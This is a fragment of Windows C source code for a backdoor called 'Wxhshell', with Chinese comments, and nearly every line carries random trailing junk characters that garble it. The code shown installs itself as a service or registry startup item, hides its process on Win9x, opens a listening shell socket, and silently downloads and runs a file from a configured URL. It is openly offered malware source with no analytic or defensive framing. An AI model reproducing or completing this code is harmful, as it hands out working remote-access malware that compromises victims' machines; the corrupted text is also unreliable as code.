ULONG UniqueProcessId; 72= 4#
ULONG InheritedFromUniqueProcessId; %Ybr5 $_
} PROCESS_BASIC_INFORMATION; rE?B9BF3O
n]3Z~HoZ
PROCNTQSIP NtQueryInformationProcess; :#=BwdC
m[hHaX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q}1qt4xy*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -#r=
|wyua@2
HANDLE hProcess; SfPtG
PROCESS_BASIC_INFORMATION pbi; Gyc_B
<,J O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u`pw'3hY
if(NULL == hInst ) return 0; [+qB^6I+P%
rfV{+^T;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B+2.:Zn6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2>m"CG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;6`7
\
Kn}Y7B{
if (!NtQueryInformationProcess) return 0; k.\4<}
4Td)1~zc3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )#,a'~w
if(!hProcess) return 0; h3Nbgxa.
-$`q:j
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0"iQHi
@QDpw1;V'
CloseHandle(hProcess); tZ:fh p
z\Z+>A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2c3/iYCKP
if(hProcess==NULL) return 0; WmE4TL^8?
AA}+37@2I
HMODULE hMod; (i-L:
char procName[255]; Iv?1XI=
unsigned long cbNeeded; ix 5\Y
ZpZoOdjslV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vX$|/74
sAjN<P
CloseHandle(hProcess); 6ciA|J'MR
LWV^'B_X-
if(strstr(procName,"services")) return 1; // 以服务启动 'r}y{`3M
G_xql_QR
return 0; // 注册表启动 Jjh=zxR>
} VgMuX3=
0kaMYV?
// 主模块 ^j<2s"S
int StartWxhshell(LPSTR lpCmdLine) }p*WH$!~
{ )b,FE}YX
SOCKET wsl; hO(A_Bw
BOOL val=TRUE; ZC)m&V1
int port=0; `-5gsJ
struct sockaddr_in door; (lvp-<*
Srrzj-9^)K
if(wscfg.ws_autoins) Install(); .xtam 8@
MgHO WoF
port=atoi(lpCmdLine); 3
op{h6
:* J!
if(port<=0) port=wscfg.ws_port; c\rP"y|S};
rC6EgWt<V
WSADATA data; wLo<gA6;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IC-W[~
cq8JpSB(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kM3#[#6$!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jv~^hN2
door.sin_family = AF_INET; s_U--y.2r(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %\!@$]3q
door.sin_port = htons(port); {Vf].l:kn
xxpzz(S ]A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I1JF2 "{c
closesocket(wsl); mA5sK?W
return 1; mh#_lbe'
} 7 M$cIWe$
'Ge8l%p
if(listen(wsl,2) == INVALID_SOCKET) { JY$;m3h
closesocket(wsl); yRt7&,}zL
return 1; MkM`)g 5
} #X0Y8:vj
Wxhshell(wsl); 1c4:'0
WSACleanup(); %5j*e
2QKt.a
return 0;
z!)@`?
E+Dcw
} 9M@,BXOt
@[]#[7
// 以NT服务方式启动 %4Yq
(e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \Z-Fu=8J8^
{ [f=Y*=u9,
DWORD status = 0; Uq.hCb`:
DWORD specificError = 0xfffffff; %ejq|i7
BxesoB
serviceStatus.dwServiceType = SERVICE_WIN32; <6C:\{eo
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )%HIC@MM6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^_uCSA'X
serviceStatus.dwWin32ExitCode = 0; E*QLw*H
serviceStatus.dwServiceSpecificExitCode = 0; ;+lsNf
serviceStatus.dwCheckPoint = 0; VBK |*Tl
serviceStatus.dwWaitHint = 0; yER
Sea6xGdq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xn1,
o
MY=
if (hServiceStatusHandle==0) return; eCG{KCM~_Z
5)ooE
status = GetLastError(); a&B@F]+
if (status!=NO_ERROR) '>t'U?7w<
{ 5`q#~fJ2
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1?,C d
serviceStatus.dwCheckPoint = 0; XjTu`?Na;
serviceStatus.dwWaitHint = 0; Xl
E0oN~{
serviceStatus.dwWin32ExitCode = status; -a7BVEFts
serviceStatus.dwServiceSpecificExitCode = specificError; d5n>2iO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G'{&*]Z\:
return; |?ZNGPt
} ?)7UqVyq
'AZxR4W
serviceStatus.dwCurrentState = SERVICE_RUNNING; J{$c|
serviceStatus.dwCheckPoint = 0; N: 5 N}am
serviceStatus.dwWaitHint = 0; Tb{RQ?Nw'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); </W"e!?X
} @%r"7%tq>
n_*.i1\'w
// 处理NT服务事件,比如:启动、停止 ~gg&G~ET
VOID WINAPI NTServiceHandler(DWORD fdwControl) gq~"Z[T
{ =0SJf 3
switch(fdwControl) j2mMm/kq\
{ \og2\Oh&gH
case SERVICE_CONTROL_STOP: TwKi_nh2m
serviceStatus.dwWin32ExitCode = 0; =tl~@~pqI
serviceStatus.dwCurrentState = SERVICE_STOPPED; Pxgul7
serviceStatus.dwCheckPoint = 0; _!9I
f
serviceStatus.dwWaitHint = 0; Y /l~R7
{ GF*uDJ Kp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9rT"_d#
} A|yU'k
return; \!IEZ
case SERVICE_CONTROL_PAUSE: 9G4os!x)
serviceStatus.dwCurrentState = SERVICE_PAUSED; xp *d:
break; IaO*{1re
case SERVICE_CONTROL_CONTINUE: xsU3c0wbr8
serviceStatus.dwCurrentState = SERVICE_RUNNING; <|hrmwk|
break; So4#n7
case SERVICE_CONTROL_INTERROGATE:
#p-\Y7f
break; m",G;VN
}; cvYKZB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :c(#03w*C
} l0tFj>q"
l)V646-O,~
// 标准应用程序主函数 A:5P
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X,D ]S@
{ w{GEWD{&
kB=5=#s
// 获取操作系统版本 %Lq}5zB
OsIsNt=GetOsVer(); VREDVLQT
GetModuleFileName(NULL,ExeFile,MAX_PATH); olK*uD'`
>S%}HSPKq
// 从命令行安装 <}F(G-kV6
if(strpbrk(lpCmdLine,"iI")) Install(); )M8@|~~
zo@,>'m
// 下载执行文件 gBZNO! a,d
if(wscfg.ws_downexe) { .I%B$eH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f4vdJ5pV
WinExec(wscfg.ws_filenam,SW_HIDE); Hro)m"
} 4G RHvA.
CjJ n
if(!OsIsNt) { Sp]ov:]%f
// 如果时win9x,隐藏进程并且设置为注册表启动 Y@+9Ukd/
HideProc(); [YJ*zO
StartWxhshell(lpCmdLine); OXZx!h
} ScRK1
else OK2\2&G
if(StartFromService()) Wj, {lJ,
// 以服务方式启动 1[\I9dv2
StartServiceCtrlDispatcher(DispatchTable); 61*b|.sl'#
else rY)m"'puP
// 普通方式启动 C#RueDa.
StartWxhshell(lpCmdLine); Pd~z%VoO
IG~Zxn1o
return 0; ".?y!VY
}